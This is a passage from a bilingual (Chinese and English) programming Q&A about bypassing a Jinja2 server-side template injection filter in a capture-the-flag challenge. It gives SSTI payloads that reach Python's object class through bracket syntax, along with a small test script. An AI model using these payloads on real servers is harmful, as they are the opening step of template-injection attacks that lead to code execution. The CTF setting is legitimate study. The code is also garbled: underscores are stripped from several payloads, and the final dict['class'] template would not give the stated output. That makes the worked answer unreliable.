英文:
Jinja2 SSTI filter bypasses
问题
我正在参加一场夺旗赛(Capture The Flag,CTF),并试图利用一个易受Jinja2 服务器端模板注入(Server Side Template Injection,SSTI) 攻击的服务器。
我不能使用以下字符:\、|、,、. 和 _。
我试图编写以下命令:
{{''.class.mro()[1].subclasses()}}
有什么想法吗?
我尝试使用attr方法,但由于无法使用|和.,我无法使用它。
英文:
I'm doing a Capture The Flag (CTF) and I'm trying to exploit a server vulnerable to Jinja2 Server Side Template Injection (SSTI).
I can't use the following characters: \, |, ,, . and _.
I'm trying to write the following command:
{{''.class.mro()[1].subclasses()}}
Any ideas?
I tried using the attr method, but I can't use it because of the limitation of using | and ..
答案1
得分: 3
以下是您要翻译的内容:
大部分您需要的内容可能在_"变量"章节中有解释,并在“实现”_说明中进一步解释:
除了标准的Python
__getitem__"下标" 语法 ([]),您还可以使用点 (.) 来访问变量的属性。以下行代码执行相同操作:
{{ foo.bar }} {{ foo['bar'] }}
来源: https://jinja.palletsprojects.com/en/3.1.x/templates/#variables
然后,稍后:
foo['bar']几乎与稍有不同的顺序相同:
- 检查 foo 中是否有项
 'bar'(foo.__getitem__('bar'))- 如果没有,检查 foo 上是否有名为 bar 的属性 (
 getattr(foo, 'bar'))- 如果没有,返回未定义对象。
 
来源: https://jinja.palletsprojects.com/en/3.1.x/templates/#notes-on-subscriptions
所以,如果我在Jinja环境中尝试这样的操作:
{{ ''['__class__']['mro']()[1] }}
我确实会得到 <class 'object'> 作为返回值。
在这里,我无法实现 ''['class'],但我可以使用 dict['class'] 来实现它:
{{ dict['class']['mro']()[1] }}
至于对 .subclasses() 方法的调用,不清楚它是来自您的示例实现还是其他地方。
测试环境:
├── jinja.py
└── templates
    └── template.html.j2
jinja.py:
from jinja2 import Environment, FileSystemLoader
environment = Environment(loader=FileSystemLoader('templates/'))
template = environment.get_template('template.html.j2')
print(template.render())
templates/template.html.j2:
{{ dict['class']['mro']()[1] }}
输出:
<class 'object'>
英文:
Most of what you need here is probably explained in the "Variables" chapter and further explained in the "Implementation" note:
> You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]).
>
> The following lines do the same thing:
> jinja
> {{ foo.bar }}
> {{ foo['bar'] }}
> 
<sup>_Source: https://jinja.palletsprojects.com/en/3.1.x/templates/#variables_</sup>
Then, later:
> foo['bar'] works mostly the same with a small difference in sequence:
>
> * check for an item 'bar' in foo. (foo.__getitem__('bar'))
> * if there is not, check for an attribute called bar on foo. (getattr(foo, 'bar'))
> * if there is not, return an undefined object.
<sup>_Source: https://jinja.palletsprojects.com/en/3.1.x/templates/#notes-on-subscriptions_</sup>
So, if I try this kind of thing on a Jinja environment:
{{ ''['__class__']['mro']()[1] }}
I do indeed get a <class 'object'> as a return.
Here, I was not able to achieve ''['class'], but I can achieve it using dict['class'], on the other hand:
{{ dict['class']['mro']()[1] }}
As for the call to the .subclasses() method, it is unclear if this comes from your example implementation or from somewhere else.
Testing environment:
├── jinja.py
└── templates
    └── template.html.j2
jinja.py:
from jinja2 import Environment, FileSystemLoader
environment = Environment(loader=FileSystemLoader('templates/'))
template = environment.get_template('template.html.j2')
print(template.render())
templates/template.html.j2:
{{ dict['class']['mro']()[1] }}
Output:
<class 'object'>
通过集体智慧和协作来改善编程学习和解决问题的方式。致力于成为全球开发者共同参与的知识库,让每个人都能够通过互相帮助和分享经验来进步。


评论